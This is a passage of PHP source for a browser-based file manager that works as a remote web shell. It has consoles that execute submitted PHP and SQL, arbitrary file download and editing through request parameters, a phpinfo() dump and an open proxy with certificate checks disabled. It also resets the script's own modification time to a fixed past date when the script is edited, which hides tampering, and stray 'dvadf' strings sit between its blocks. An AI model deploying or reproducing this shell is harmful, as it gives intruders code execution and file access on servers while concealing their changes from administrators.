			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
